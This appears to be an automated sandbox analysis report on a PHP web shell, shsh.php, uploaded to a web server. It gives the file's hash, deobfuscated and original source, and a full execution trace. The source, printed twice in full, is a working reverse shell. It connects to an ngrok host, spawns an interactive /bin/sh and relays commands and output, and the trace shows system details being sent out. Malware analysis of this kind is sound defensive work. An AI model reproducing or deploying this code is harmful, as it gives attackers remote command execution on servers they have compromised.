PHP Malware Analysis

shsh.php

md5: e5eefe2a4d90596177af5d51865b2dec

Jump to:

Screenshot


Attributes

Environment

Execution


Deobfuscated PHP code

<?php

set_time_limit(0);
$VERSION = "1.0";
$ip = '6.tcp.ngrok.io';
// CHANGE THIS
$port = 12447;
// CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    if ($pid) {
        exit(0);
    }
    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }
    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("{$errstr} ({$errno})");
    exit(1);
}
// Spawn shell process
$descriptorspec = array(
    0 => array("pipe", "r"),
    // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),
    // stdout is a pipe that the child will write to
    2 => array("pipe", "w"),
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to {$ip}:{$port}");
while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }
    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }
    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) {
            printit("SOCK READ");
        }
        $input = fread($sock, $chunk_size);
        if ($debug) {
            printit("SOCK: {$input}");
        }
        fwrite($pipes[0], $input);
    }
    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) {
            printit("STDOUT READ");
        }
        $input = fread($pipes[1], $chunk_size);
        if ($debug) {
            printit("STDOUT: {$input}");
        }
        fwrite($sock, $input);
    }
    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) {
            printit("STDERR READ");
        }
        $input = fread($pipes[2], $chunk_size);
        if ($debug) {
            printit("STDERR: {$input}");
        }
        fwrite($sock, $input);
    }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit($string)
{
    if (!$daemon) {
        print "{$string}\n";
    }
}
?> 




Execution traces

data/traces/e5eefe2a4d90596177af5d51865b2dec_trace-1676257718.8451.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:09:04.742979]
1	0	1	0.000216	393512
1	3	0	0.000412	418064	{main}	1		/var/www/html/uploads/shsh.php	0	0
2	4	0	0.000437	418064	set_time_limit	0		/var/www/html/uploads/shsh.php	4	1	0
2	4	1	0.000460	418128
2	4	R			FALSE
1		A						/var/www/html/uploads/shsh.php	5	$VERSION = '1.0'
1		A						/var/www/html/uploads/shsh.php	6	$ip = '6.tcp.ngrok.io'
1		A						/var/www/html/uploads/shsh.php	7	$port = 12447
1		A						/var/www/html/uploads/shsh.php	8	$chunk_size = 1400
1		A						/var/www/html/uploads/shsh.php	9	$write_a = NULL
1		A						/var/www/html/uploads/shsh.php	10	$error_a = NULL
1		A						/var/www/html/uploads/shsh.php	11	$shell = 'uname -a; w; id; /bin/sh -i'
1		A						/var/www/html/uploads/shsh.php	12	$daemon = 0
1		A						/var/www/html/uploads/shsh.php	13	$debug = 0
2	5	0	0.000606	418096	function_exists	0		/var/www/html/uploads/shsh.php	21	1	'pcntl_fork'
2	5	1	0.000624	418136
2	5	R			FALSE
2	6	0	0.000644	418096	printit	1		/var/www/html/uploads/shsh.php	43	1	'WARNING: Failed to daemonise.  This is quite common and not fatal.'
2	6	1	0.000693	418096
2	7	0	0.000704	418096	chdir	0		/var/www/html/uploads/shsh.php	47	1	'/'
2	7	1	0.000725	418168
2	7	R			TRUE
2	8	0	0.000744	418128	umask	0		/var/www/html/uploads/shsh.php	50	1	0
2	8	1	0.000761	418160
2	8	R			18
2	9	0	0.000778	418176	fsockopen	0		/var/www/html/uploads/shsh.php	57	5	'6.tcp.ngrok.io'	12447	NULL	NULL	30
2	9	1	0.163335	418768
2	9	R			resource(3) of type (stream)
1		A						/var/www/html/uploads/shsh.php	57	$sock = resource(3) of type (stream)
1		A						/var/www/html/uploads/shsh.php	65	$descriptorspec = [0 => [0 => 'pipe', 1 => 'r'], 1 => [0 => 'pipe', 1 => 'w'], 2 => [0 => 'pipe', 1 => 'w']]
2	10	0	0.163415	418624	proc_open	0		/var/www/html/uploads/shsh.php	70	3	'uname -a; w; id; /bin/sh -i'	[0 => [0 => 'pipe', 1 => 'r'], 1 => [0 => 'pipe', 1 => 'w'], 2 => [0 => 'pipe', 1 => 'w']]	NULL
2	10	1	0.164379	420552
2	10	R			resource(7) of type (process)
1		A						/var/www/html/uploads/shsh.php	70	$process = resource(7) of type (process)
2	11	0	0.164542	420448	stream_set_blocking	0		/var/www/html/uploads/shsh.php	79	2	resource(4) of type (stream)	0
2	11	1	0.164567	420512
2	11	R			TRUE
2	12	0	0.164581	420448	stream_set_blocking	0		/var/www/html/uploads/shsh.php	80	2	resource(5) of type (stream)	0
2	12	1	0.164596	420512
2	12	R			TRUE
2	13	0	0.164609	420448	stream_set_blocking	0		/var/www/html/uploads/shsh.php	81	2	resource(6) of type (stream)	0
2	13	1	0.164624	420512
2	13	R			TRUE
2	14	0	0.164637	420448	stream_set_blocking	0		/var/www/html/uploads/shsh.php	82	2	resource(3) of type (stream)	0
2	14	1	0.164656	420512
2	14	R			TRUE
2	15	0	0.164676	420544	printit	1		/var/www/html/uploads/shsh.php	84	1	'Successfully opened reverse shell to 6.tcp.ngrok.io:12447'
2	15	1	0.164752	420544
2	16	0	0.164762	420448	feof	0		/var/www/html/uploads/shsh.php	88	1	resource(3) of type (stream)
2	16	1	0.164777	420480
2	16	R			FALSE
2	17	0	0.164791	420448	feof	0		/var/www/html/uploads/shsh.php	94	1	resource(5) of type (stream)
2	17	1	0.164804	420480
2	17	R			FALSE
1		A						/var/www/html/uploads/shsh.php	101	$read_a = [0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]
2	18	0	0.164833	420896	stream_select	0		/var/www/html/uploads/shsh.php	102	4	[0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]	NULL	NULL	NULL
2	18	1	0.165906	421048
2	18	R			1
1		A						/var/www/html/uploads/shsh.php	102	$num_changed_sockets = 1
2	19	0	0.165944	420896	in_array	0		/var/www/html/uploads/shsh.php	106	2	resource(3) of type (stream)	[1 => resource(5) of type (stream)]
2	19	1	0.165962	420968
2	19	R			FALSE
2	20	0	0.165975	420896	in_array	0		/var/www/html/uploads/shsh.php	115	2	resource(5) of type (stream)	[1 => resource(5) of type (stream)]
2	20	1	0.165991	420968
2	20	R			TRUE
2	21	0	0.166004	420896	fread	0		/var/www/html/uploads/shsh.php	117	2	resource(5) of type (stream)	1400
2	21	1	0.166023	429312
2	21	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux\n'
1		A						/var/www/html/uploads/shsh.php	117	$input = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux\n'
2	22	0	0.166070	429248	fwrite	0		/var/www/html/uploads/shsh.php	119	2	resource(3) of type (stream)	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux\n'
2	22	1	0.166112	429312
2	22	R			107
2	23	0	0.166127	429248	in_array	0		/var/www/html/uploads/shsh.php	124	2	resource(6) of type (stream)	[1 => resource(5) of type (stream)]
2	23	1	0.166143	429320
2	23	R			FALSE
2	24	0	0.166157	429248	feof	0		/var/www/html/uploads/shsh.php	88	1	resource(3) of type (stream)
2	24	1	0.166171	429280
2	24	R			FALSE
2	25	0	0.166184	429248	feof	0		/var/www/html/uploads/shsh.php	94	1	resource(5) of type (stream)
2	25	1	0.166202	429280
2	25	R			FALSE
1		A						/var/www/html/uploads/shsh.php	101	$read_a = [0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]
2	26	0	0.166234	429248	stream_select	0		/var/www/html/uploads/shsh.php	102	4	[0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]	NULL	NULL	NULL
2	26	1	0.171826	429400
2	26	R			1
1		A						/var/www/html/uploads/shsh.php	102	$num_changed_sockets = 1
2	27	0	0.171870	429248	in_array	0		/var/www/html/uploads/shsh.php	106	2	resource(3) of type (stream)	[1 => resource(5) of type (stream)]
2	27	1	0.171889	429320
2	27	R			FALSE
2	28	0	0.171904	429248	in_array	0		/var/www/html/uploads/shsh.php	115	2	resource(5) of type (stream)	[1 => resource(5) of type (stream)]
2	28	1	0.171919	429320
2	28	R			TRUE
2	29	0	0.171933	429248	fread	0		/var/www/html/uploads/shsh.php	117	2	resource(5) of type (stream)	1400
2	29	1	0.171953	429696
2	29	R			' 22:08:39 up 14:06,  2 users,  load average: 0.92, 0.96, 0.85\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\nosboxes  tty2     tty2             05:52   11days  0.01s  0.01s /usr/libexec/gnome-session-binary --session=ubuntu\nosboxes  pts/6    -                12:44    8:36m  0.25s  0.09s sudo vim /etc/php/7.2/apache2/php.ini\n'
1		A						/var/www/html/uploads/shsh.php	117	$input = ' 22:08:39 up 14:06,  2 users,  load average: 0.92, 0.96, 0.85\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\nosboxes  tty2     tty2             05:52   11days  0.01s  0.01s /usr/libexec/gnome-session-binary --session=ubuntu\nosboxes  pts/6    -                12:44    8:36m  0.25s  0.09s sudo vim /etc/php/7.2/apache2/php.ini\n'
2	30	0	0.172010	429472	fwrite	0		/var/www/html/uploads/shsh.php	119	2	resource(3) of type (stream)	' 22:08:39 up 14:06,  2 users,  load average: 0.92, 0.96, 0.85\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\nosboxes  tty2     tty2             05:52   11days  0.01s  0.01s /usr/libexec/gnome-session-binary --session=ubuntu\nosboxes  pts/6    -                12:44    8:36m  0.25s  0.09s sudo vim /etc/php/7.2/apache2/php.ini\n'
2	30	1	0.172060	429536
2	30	R			347
2	31	0	0.172076	429472	in_array	0		/var/www/html/uploads/shsh.php	124	2	resource(6) of type (stream)	[1 => resource(5) of type (stream)]
2	31	1	0.172092	429544
2	31	R			FALSE
2	32	0	0.172106	429472	feof	0		/var/www/html/uploads/shsh.php	88	1	resource(3) of type (stream)
2	32	1	0.172121	429504
2	32	R			FALSE
2	33	0	0.172134	429472	feof	0		/var/www/html/uploads/shsh.php	94	1	resource(5) of type (stream)
2	33	1	0.172148	429504
2	33	R			FALSE
1		A						/var/www/html/uploads/shsh.php	101	$read_a = [0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]
2	34	0	0.172184	429472	stream_select	0		/var/www/html/uploads/shsh.php	102	4	[0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]	NULL	NULL	NULL
2	34	1	0.172684	429624
2	34	R			1
1		A						/var/www/html/uploads/shsh.php	102	$num_changed_sockets = 1
2	35	0	0.172721	429472	in_array	0		/var/www/html/uploads/shsh.php	106	2	resource(3) of type (stream)	[1 => resource(5) of type (stream)]
2	35	1	0.172739	429544
2	35	R			FALSE
2	36	0	0.172753	429472	in_array	0		/var/www/html/uploads/shsh.php	115	2	resource(5) of type (stream)	[1 => resource(5) of type (stream)]
2	36	1	0.172769	429544
2	36	R			TRUE
2	37	0	0.172782	429472	fread	0		/var/www/html/uploads/shsh.php	117	2	resource(5) of type (stream)	1400
2	37	1	0.172799	429616
2	37	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n'
1		A						/var/www/html/uploads/shsh.php	117	$input = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n'
2	38	0	0.172831	429168	fwrite	0		/var/www/html/uploads/shsh.php	119	2	resource(3) of type (stream)	'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n'
2	38	1	0.172864	429232
2	38	R			54
2	39	0	0.172888	429168	in_array	0		/var/www/html/uploads/shsh.php	124	2	resource(6) of type (stream)	[1 => resource(5) of type (stream)]
2	39	1	0.172904	429240
2	39	R			FALSE
2	40	0	0.172918	429168	feof	0		/var/www/html/uploads/shsh.php	88	1	resource(3) of type (stream)
2	40	1	0.172984	429200
2	40	R			FALSE
2	41	0	0.172998	429168	feof	0		/var/www/html/uploads/shsh.php	94	1	resource(5) of type (stream)
2	41	1	0.173012	429200
2	41	R			FALSE
1		A						/var/www/html/uploads/shsh.php	101	$read_a = [0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]
2	42	0	0.173041	429168	stream_select	0		/var/www/html/uploads/shsh.php	102	4	[0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]	NULL	NULL	NULL
2	42	1	0.173297	429320
2	42	R			1
1		A						/var/www/html/uploads/shsh.php	102	$num_changed_sockets = 1
2	43	0	0.173332	429168	in_array	0		/var/www/html/uploads/shsh.php	106	2	resource(3) of type (stream)	[2 => resource(6) of type (stream)]
2	43	1	0.173350	429240
2	43	R			FALSE
2	44	0	0.173364	429168	in_array	0		/var/www/html/uploads/shsh.php	115	2	resource(5) of type (stream)	[2 => resource(6) of type (stream)]
2	44	1	0.173380	429240
2	44	R			FALSE
2	45	0	0.173393	429168	in_array	0		/var/www/html/uploads/shsh.php	124	2	resource(6) of type (stream)	[2 => resource(6) of type (stream)]
2	45	1	0.173409	429240
2	45	R			TRUE
2	46	0	0.173422	429168	fread	0		/var/www/html/uploads/shsh.php	126	2	resource(6) of type (stream)	1400
2	46	1	0.173440	437504
2	46	R			'/bin/sh: 0: can\'t access tty; job control turned off\n$ '
1		A						/var/www/html/uploads/shsh.php	126	$input = '/bin/sh: 0: can\'t access tty; job control turned off\n$ '
2	47	0	0.173472	437360	fwrite	0		/var/www/html/uploads/shsh.php	128	2	resource(3) of type (stream)	'/bin/sh: 0: can\'t access tty; job control turned off\n$ '
2	47	1	0.173504	437424
2	47	R			55
2	48	0	0.173519	437360	feof	0		/var/www/html/uploads/shsh.php	88	1	resource(3) of type (stream)
2	48	1	0.173533	437392
2	48	R			FALSE
2	49	0	0.173546	437360	feof	0		/var/www/html/uploads/shsh.php	94	1	resource(5) of type (stream)
2	49	1	0.173559	437392
2	49	R			FALSE
1		A						/var/www/html/uploads/shsh.php	101	$read_a = [0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]
2	50	0	0.173595	437360	stream_select	0		/var/www/html/uploads/shsh.php	102	4	[0 => resource(3) of type (stream), 1 => resource(5) of type (stream), 2 => resource(6) of type (stream)]	NULL	NULL	NULL
2	50	1	0.589771	437512
2	50	R			1
1		A						/var/www/html/uploads/shsh.php	102	$num_changed_sockets = 1
2	51	0	0.589831	437360	in_array	0		/var/www/html/uploads/shsh.php	106	2	resource(3) of type (stream)	[0 => resource(3) of type (stream)]
2	51	1	0.589851	437432
2	51	R			TRUE
2	52	0	0.589867	437360	fread	0		/var/www/html/uploads/shsh.php	108	2	resource(3) of type (stream)	1400
2	52	1	0.589892	445712
2	52	R			'SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7\nProtocol mismatch.\n'
1		A						/var/www/html/uploads/shsh.php	108	$input = 'SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7\nProtocol mismatch.\n'
2	53	0	0.589932	445568	fwrite	0		/var/www/html/uploads/shsh.php	110	2	resource(4) of type (stream)	'SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7\nProtocol mismatch.\n'
2	53	1	0.589985	445632
2	53	R			58
2	54	0	0.590014	445568	in_array	0		/var/www/html/uploads/shsh.php	115	2	resource(5) of type (stream)	[0 => resource(3) of type (stream)]
2	54	1	0.590030	445640
2	54	R			FALSE
2	55	0	0.590043	445568	in_array	0		/var/www/html/uploads/shsh.php	124	2	resource(6) of type (stream)	[0 => resource(3) of type (stream)]
2	55	1	0.590058	445640
2	55	R			FALSE
2	56	0	0.590071	445568	feof	0		/var/www/html/uploads/shsh.php	88	1	resource(3) of type (stream)
2	56	1	0.590086	445600
2	56	R			TRUE
2	57	0	0.590100	445568	printit	1		/var/www/html/uploads/shsh.php	89	1	'ERROR: Shell connection terminated'
2	57	1	0.590146	445568
2	58	0	0.590154	445568	fclose	0		/var/www/html/uploads/shsh.php	132	1	resource(3) of type (stream)
2	58	1	0.590172	437008
2	58	R			TRUE
2	59	0	0.590185	436976	fclose	0		/var/www/html/uploads/shsh.php	133	1	resource(4) of type (stream)
2	59	1	0.590203	436592
2	59	R			TRUE
2	60	0	0.590232	436560	fclose	0		/var/www/html/uploads/shsh.php	134	1	resource(5) of type (stream)
2	60	1	0.590255	427984
2	60	R			TRUE
2	61	0	0.590268	427952	fclose	0		/var/www/html/uploads/shsh.php	135	1	resource(6) of type (stream)
2	61	1	0.590282	419376
2	61	R			TRUE
2	62	0	0.590295	419344	proc_close	0		/var/www/html/uploads/shsh.php	136	1	resource(7) of type (process)
2	62	1	0.590625	419272
2	62	R			127
1	3	1	0.590654	419240
			0.590729	318240
TRACE END   [2023-02-13 01:09:05.333531]


Generated HTML code

<html><head></head><body>WARNING: Failed to daemonise.  This is quite common and not fatal.
Successfully opened reverse shell to 6.tcp.ngrok.io:12447
ERROR: Shell connection terminated
 



</body></html>

Original PHP code

<?php


set_time_limit (0);
$VERSION = "1.0";
$ip = '6.tcp.ngrok.io';  // CHANGE THIS
$port = 12447;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>